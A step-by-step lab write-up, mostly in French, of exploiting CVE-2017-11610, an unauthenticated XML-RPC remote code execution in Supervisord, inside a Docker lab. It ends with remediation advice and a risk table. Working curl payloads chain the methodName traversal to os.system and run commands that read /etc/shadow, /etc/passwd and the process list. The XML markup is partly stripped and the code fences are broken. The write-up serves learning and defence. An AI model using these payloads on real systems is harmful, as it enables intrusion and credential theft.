
Analyse pas à pas de l'exploitation de CVE-2017-11610 (RCE XML-RPC de Supervisord) avec analyse de la surface d'attaque, découverte de traversée de namespace et techniques de post-exploitation dans un environnement de laboratoire Docker.
En commençant par ce qui tourne dans l'environnement. Je liste tous les conteneurs actifs :``` docker ps-a

**La victime expose un seul port : `9001`**.
Le port 9001 n'est pas une application web standard. La consultation de la **base de données des ports** montre que ce port pourrait être associé à **Supervisord** (ETL Service Manager selon l'IANA), au proxy Tor, ou à un autre service interne. Cependant, nous ne pouvons pas tirer de conclusion en nous basant uniquement sur le numéro de port.
⇒ Je fais un curl directement pour lire la réponse et j'accède également à l'interface graphique web afin de recueillir plus d'informations.```
curl -i http://192.168.3.137:9001/
Analyse de la réponse :
Server: Medusa/1.12 et le titre Supervisor Status→ Confirme qu'il s'agit de Supervisord, et non de Tor ou d'un autre service.
REFRESH, RESTART ALL, STOP ALLSupervisord est un gestionnaire de processus sous Linux. Si le port 9001 est exposé sur le réseau sans mot de passe, il s'agit d'une configuration dangereuse. Un attaquant pourrait consulter les services, redémarrer/arrêter des processus et, dans certaines configurations, l'exploiter pour exécuter des commandes s'il dispose des privilèges nécessaires pour modifier ou contrôler les programmes gérés.
Conclusion de l'analyse : Nous pouvons confirmer que la cible expose l'interface d'administration de Supervisord sur le réseau au port 9001. Il ne s'agit pas d'un service web standard, mais d'une interface de gestion utilisée pour surveiller et contrôler des processus. La possibilité d'accéder à cette interface sans authentification crée un risque qu'un attaquant puisse consulter l'état des services gérés ou interagir avec eux.
Cependant, il faut distinguer l'interface utilisateur visible du mécanisme de contrôle sous-jacent. Les boutons comme REFRESH, RESTART ALL et STOP ALL ne traitent pas les requêtes de manière indépendante côté frontend ; ils doivent faire appel à une interface/backend de Supervisord pour récupérer l'état ou envoyer des commandes de contrôle de processus. Par conséquent, après avoir confirmé que l'interface web est exposée, l'étape suivante de l'analyse consiste à déterminer si l'interface de contrôle sous-jacente existe derrière l'interface web et si elle nécessite une authentification.
⇒ Réflexion : Il faut vérifier si l'interface de contrôle derrière l'interface web existe et si elle nécessite une authentification.

Selon la documentation de Supervisor, [inet_http_server] est un serveur HTTP écoutant sur une socket TCP. Cette interface n'est pas activée par défaut, ne doit être utilisée que dans des environnements de confiance, ne prend pas en charge le chiffrement et ne dispose d'aucune authentification par défaut, sauf si username/password est configuré.
La documentation indique également que le port de [inet_http_server] sert à recevoir des requêtes HTTP/XML-RPC ; supervisorctl utilise XML-RPC pour communiquer avec supervisord via ce port. Cela correspond à notre observation en laboratoire : le conteneur expose 0.0.0.0:9001->9001/tcp, l'interface web est accessible sans authentification et la version affichée est Supervisor 3.3.2.
Ainsi, après avoir confirmé l'interface web sur le port 9001, l'étape suivante consiste à inspecter le point de terminaison XML-RPC /RPC2. Sur la base du mécanisme officiel de Supervisord, nous devons vérifier ces objectifs :
/RPC2 existe.supervisor.getState ou system.listMethods.Vérifions si le point de terminaison est actif :```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

Le résultat renvoie `HTTP/1.1 200 OK`, et non `401 Unauthorized` ou `403 Forbidden`, ce qui montre que la requête a été acceptée par le serveur sans informations d'identification. La réponse est au format XML-RPC `<methodResponse>` et contient `statename=RUNNING` et `statecode=1`, prouvant que le point de terminaison `/RPC2` est actif et que la méthode `supervisor.getState` a été exécutée avec succès.
**⇒ Réflexion :** La surface d'attaque n'est plus limitée à l'interface Web, mais s'est étendue à l'API XML-RPC, où sont gérées les commandes de contrôle du démon/des processus. À partir de là, la prochaine direction d'analyse consiste à **vérifier comment Supervisor** gère `methodName` dans **XML-RPC**, afin de déterminer si la cible actuelle **présente le comportement de CVE-2017-11610**, qui se situe dans le mécanisme de répartition/recherche de cette méthode. Nous devons vérifier cela pour conclure s'il s'agit de **CVE-2017-11610**.
### **Analyse du traitement du nom de méthode dans XML-RPC**
À l'étape précédente, nous avons appelé avec succès la méthode `supervisor.getState` via le point de terminaison `/RPC2`. Cela soulève la question suivante : lorsqu'il reçoit un `methodName` basé sur une chaîne, comment Supervisord mappe-t-il cette chaîne vers la fonction Python interne ?
En XML-RPC, les méthodes utilisent généralement des espaces de noms, par exemple :
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
Logiquement, le serveur reçoit la chaîne `methodName`, la divise au niveau du point `.`, puis recherche l'objet/la fonction correspondante dans le gestionnaire enregistré.
Le pseudo-code peut être compris comme suit :```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
For standard methods like supervisor.getState, this mechanism functions normally: the server retrieves the supervisor handler, then calls the getState function. However, the core issue of CVE-2017-11610 is that this lookup mechanism does not sufficiently restrict the attributes allowed to be accessed. If an attacker controls the methodName, they can not only call public methods like getState, but also traverse deeper into the internal objects/modules reachable from the supervisor handler.
In other words, the dot . in methodName is not just used to invoke valid methods, but can be abused to traverse object attributes.
This establishes our exploitation path:
supervisor → supervisord → options → warnings → linecache → os → system
The concept is to start from the supervisor handler, follow attributes to the daemon's internal objects, and then leverage pre-imported Python modules to reach os.system. If os.system can be called, the attacker can execute system commands with the privileges of the supervisord process.
Thus, the attack chain follows this logic:
/RPC2 accepts unauthenticated method calls → inspect how XML-RPC dispatches methodName → discover methodName can traverse object attributes → leads to calling os.system.
First, I need to check whether the server actually allows traversing internal attributes. I will attempt to call a method name that is longer than usual. If the server returns a "method not found" error, a filter is active; if it returns a different error (or succeeds), the traversal is working.
Thinking: I already know supervisor.getState works. If I try supervisor.supervisord—which goes one layer deeper—and the server does not return an unknown method error, it means it is indeed using recursive getattr without a whitelist.
We know XML-RPC is a remote procedure call protocol over HTTP, with data encoded in XML. Each request consists of only 3 fixed components:```
FUNCTION_NAME VALUE ``` Structure simple — il suffit de remplacer `` et ``. Si la fonction ne requiert aucun paramètre, laissez `` vide. Si la fonction requiert une chaîne, enveloppez-la dans `...`. Ce n'est pas une connaissance secrète — la lecture de la RFC XML-RPC détaille cela.⇒ Application : essayez d'appeler un methodName plus long que d'habitude pour vérifier la traversée d'espace de noms :```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

Le résultat renvoie une `HTTP 500 Internal Server Error` au lieu de l'erreur standard `unknown method`. Cela indique que le serveur ne bloque pas `methodName` au niveau d'un espace de noms valide, mais continue plutôt à traiter la chaîne `supervisor.supervisord.options` lors de la distribution. En d'autres termes, la requête traverse profondément le mécanisme de résolution d'attributs ; l'erreur se produit à une étape ultérieure lorsque l'objet résolu n'est pas appelable comme méthode. C'est un indicateur clair que la traversée des espaces de noms via `methodName` est active.
### **Trouver le chemin vers la fonction d'exécution de commandes**
La traversée fonctionne. L'étape suivante consiste à **trouver une chaîne d'attributs se terminant par une fonction appelable capable d'exécuter des commandes système.** En Python, la cible la plus simple à vérifier est `os.system()`. Cependant, nous **n'avons pas de shell sur la cible** et **ne pouvons pas lire directement les objets source/exécution dans le conteneur.** Par conséquent, nous devons **déduire à partir des mécanismes d'import de Python** et **vérifier les dépendances localement d'abord.**
La chaîne à inspecter est :
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- Supervisord est écrit en Python, donc les objets internes comme `options` sont des objets Python avec des attributs.
- Si un module importe un autre module via `import X`, alors `X` existera dans l'espace de noms de ce module.
- Dans la bibliothèque standard Python, le module `warnings` importe `linecache` pour obtenir le contexte lors de l'affichage des avertissements.
- Le module `linecache` importe `os` pour les manipulations de chemins/fichiers.
- Le module `os` fournit la fonction `system()`, qui est un appelable pouvant exécuter des commandes shell.
Confirmez cette dépendance localement avant de l'essayer sur la cible :```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ Réflexion : La chaîne de dépendances warnings → linecache → os est une dépendance réelle de la bibliothèque standard CPython ; et system est effectivement une fonction appelable dans le module os. Combinée à la faille de traversée d’espaces de noms dans XML-RPC, si nous pouvons atteindre supervisord.options.warnings depuis le gestionnaire supervisor, nous pouvons continuer la traversée jusqu’à linecache.os.system pour invoquer des commandes système.
Après avoir identifié la chaîne de traversée vers os.system, l’étape suivante consiste à construire la requête XML-RPC pour appeler cette fonction. En Python, os.system() accepte un paramètre de type chaîne représentant la commande shell à exécuter et renvoie le code de sortie de la commande. Cette fonction ne renvoie pas stdout directement dans la réponse XML-RPC ; pour prouver que la commande a bien été exécutée, nous devons rediriger la sortie vers un fichier.
⇒ Réflexion : Pas de sortie directe dans la réponse, il faut donc écrire les résultats dans /tmp. Le répertoire /tmp est généralement accessible en écriture par tous les utilisateurs sous Linux. Une charge utile de vérification sûre est :
id > /tmp/rce_proof.txt
En appliquant le modèle XML-RPC analysé ci-dessus, remplacez <methodName> par la chaîne de traversée vers os.system et transmettez la commande shell dans <string> :```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

La valeur `<int>0</int>` est le code de sortie de `os.system()`, et non la sortie standard de la commande. Un code de sortie de `0` indique que la commande shell a été exécutée avec succès. Nous vérifions cela en lisant le fichier dans le conteneur :```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ RCE confirmée. La commande id a été exécutée à l'intérieur du conteneur, sous les privilèges de l'utilisateur nobody (uid=65534).
Point clé : la RCE est obtenue, mais les privilèges d'exécution dépendent de l'utilisateur qui exécute le processus supervisord. Dans ce lab, la commande s'exécute sous l'utilisateur nobody, ce qui signifie que l'impact est plus limité que si supervisord tournait en tant que root.
Après avoir confirmé la RCE, nous constatons que nobody est un utilisateur à faibles privilèges sur Linux. Cependant, il convient de le vérifier en pratique plutôt que de se fier uniquement à la sortie de id. La méthode de vérification consiste à tenter de lire /etc/shadow, car ce fichier n'est normalement lisible que par root et le groupe shadow. S'il est lisible, le processus dispose de privilèges élevés ; si la lecture est bloquée, les privilèges sont réellement restreints.
Envoyez le payload pour lire /etc/shadow et redirigez stdout/stderr vers un fichier :```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

La réponse renvoie `<int>256</int>`, qui est la valeur de retour de `os.system()`. Sous Unix, les codes de sortie sont encodés ; `256` correspond au code de sortie du shell `1`. Cela indique que la commande a été exécutée mais a échoué.
Nous confirmons la cause de l'échec en lisant le fichier de sortie à l'intérieur du conteneur et en vérifiant les permissions de `/etc/shadow` :```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

Les résultats montrent que le fichier de sortie a enregistré cette erreur :
cat: /etc/shadow: Permission denied
Les permissions pour /etc/shadow sont :
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowLe fichier /etc/shadow appartient à root, avec le groupe shadow, et n'est lisible que par le propriétaire/groupe. Entre-temps, notre RCE précédent a confirmé que la commande s'exécute sous l'utilisateur nobody ; cet utilisateur n'appartient pas au groupe shadow et ne peut donc pas lire ce fichier.
⇒ Conclusion : l'exécution de code à distance (RCE) a été réalisée, mais les privilèges sont réellement limités à l'utilisateur nobody. C'est une distinction critique par rapport à un service exécuté en root : l'attaquant peut exécuter des commandes, mais n'obtient pas automatiquement le contrôle total du système.
Bien que nous ne puissions pas lire /etc/shadow, la RCE nous permet toujours d'exécuter des commandes avec les privilèges de nobody. Ainsi, nous pouvons continuer à collecter les informations que cet utilisateur est autorisé à lire, comme la liste des processus en cours et les informations utilisateur sur le système.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

PID 1 dans le conteneur s'exécute sous l'utilisateur root, mais le processus supervisord s'exécute sous l'utilisateur nobody. Cela explique pourquoi le RCE a réussi mais n'avait pas le privilège de lire les fichiers réservés à root.
Résultat : ps aux montre que PID 1 dans le conteneur est /bin/bash /usr/local/bin/docker-entrypoint.sh exécuté sous l'utilisateur root, tandis que le processus supervisord s'exécute sous l'utilisateur nobody.
Cela explique pourquoi le RCE a réussi mais n'avait pas les permissions de lire les fichiers réservés à root : la commande est exécutée avec les privilèges du processus supervisord, et non ceux de PID 1.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

Résultat : /etc/passwd montre que le système contient principalement des utilisateurs par défaut comme root, daemon, nobody et _apt ; aucun utilisateur de service supplémentaire n'a été détecté. Cela indique que l'environnement du conteneur est minimal, sans autres comptes d'application à exploiter ou à utiliser comme point de pivot à ce stade.
Dans ce laboratoire, un reverse shell n'a pas pu être établi. Cependant, nous ne devons pas simplement conclure qu'un réseau pont Docker bloque toujours les reverse shells, car les conteneurs Docker conservent généralement des capacités sortantes via NAT. La cause peut provenir du routage, des pare-feu, des listeners, des interfaces ou de la configuration réseau de l'environnement de laboratoire.
Le point crucial est : l'échec du reverse shell ne modifie pas la conclusion principale. La RCE a été confirmée avec la charge utile id, le code de sortie 0 de la réponse, et le fichier de sortie dans /tmp. L'attaquant peut exécuter des commandes arbitraires à l'intérieur du conteneur avec les privilèges de l'utilisateur nobody.
Priorité urgente
Mettre à niveau Supervisord vers la version corrigée
Mettez à niveau Supervisor vers la version >= 3.3.3. La version corrigée élimine complètement le mécanisme de recherche récursive d'espace de noms dans XML-RPC, qui était la cause racine de CVE-2017-11610.
N'exposez pas [inet_http_server] sur le réseau sauf si nécessaire
Si l'interface Web ou l'administration à distance n'est pas requise, désactivez entièrement [inet_http_server]. Il s'agit d'une interface de gestion qui ne devrait pas être largement accessible sur le réseau.
Restreindre l'adresse de liaison
Si vous avez toujours besoin de l'interface Web activée, liez uniquement à localhost au lieu de 0.0.0.0 :
[inet_http_server]
port=127.0.0.1:9001
Priorité élevée
Activer l'authentification pour [inet_http_server]
Si vous devez exposer cette interface pour l'administration à distance, configurez un nom d'utilisateur/mot de passe fort :
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
Si elle doit être liée au réseau, ne vous fiez pas uniquement à un mot de passe ; placez-la derrière un VPN/proxy inverse ou restreignez l'accès par IP.
Restreindre l'accès à l'aide d'un pare-feu
Autorisez uniquement les IP administratives à accéder au port 9001, par exemple via un pare-feu/groupe de sécurité. N'exposez pas ce port à l'internet public ni à l'ensemble du réseau interne.
Exécuter supervisord avec un utilisateur à privilèges réduits
Ce laboratoire s'exécute sous l'utilisateur nobody, ce qui limite l'impact. Dans les environnements réels, évitez d'exécuter supervisord en tant que root sauf en cas de nécessité absolue.
| Critère | Évaluation | Détails |
|---|
| Score CVSS | 9.8 (Critique) | Selon CVE/NVD, la vulnérabilité est une RCE non authentifiée sur Supervisor <= 3.3.2 |
| Authentification | Non requise | Le point de terminaison /RPC2 traite les requêtes XML-RPC sans exiger de nom d'utilisateur/mot de passe |
| Complexité | Faible | Exploitable via des requêtes XML-RPC manuelles, sans avoir besoin de Metasploit |
| Privilèges obtenus | nobody | La RCE s'exécute avec les privilèges du processus supervisord ; dans ce laboratoire, restreinte à l'utilisateur nobody |
| Impact | Élevé | Capable d'exécuter des commandes, d'écrire des fichiers dans des répertoires inscriptibles comme /tmp, et de recueillir des informations système |
| Limites | Impossible de lire les fichiers réservés à root | /etc/shadow a renvoyé Permission Denied, prouvant que les privilèges ne sont pas root |
| Pivotement réseau interne | Faisable | L'utilisateur nobody peut toujours tenter de se connecter à d'autres services/conteneurs si les politiques réseau le permettent |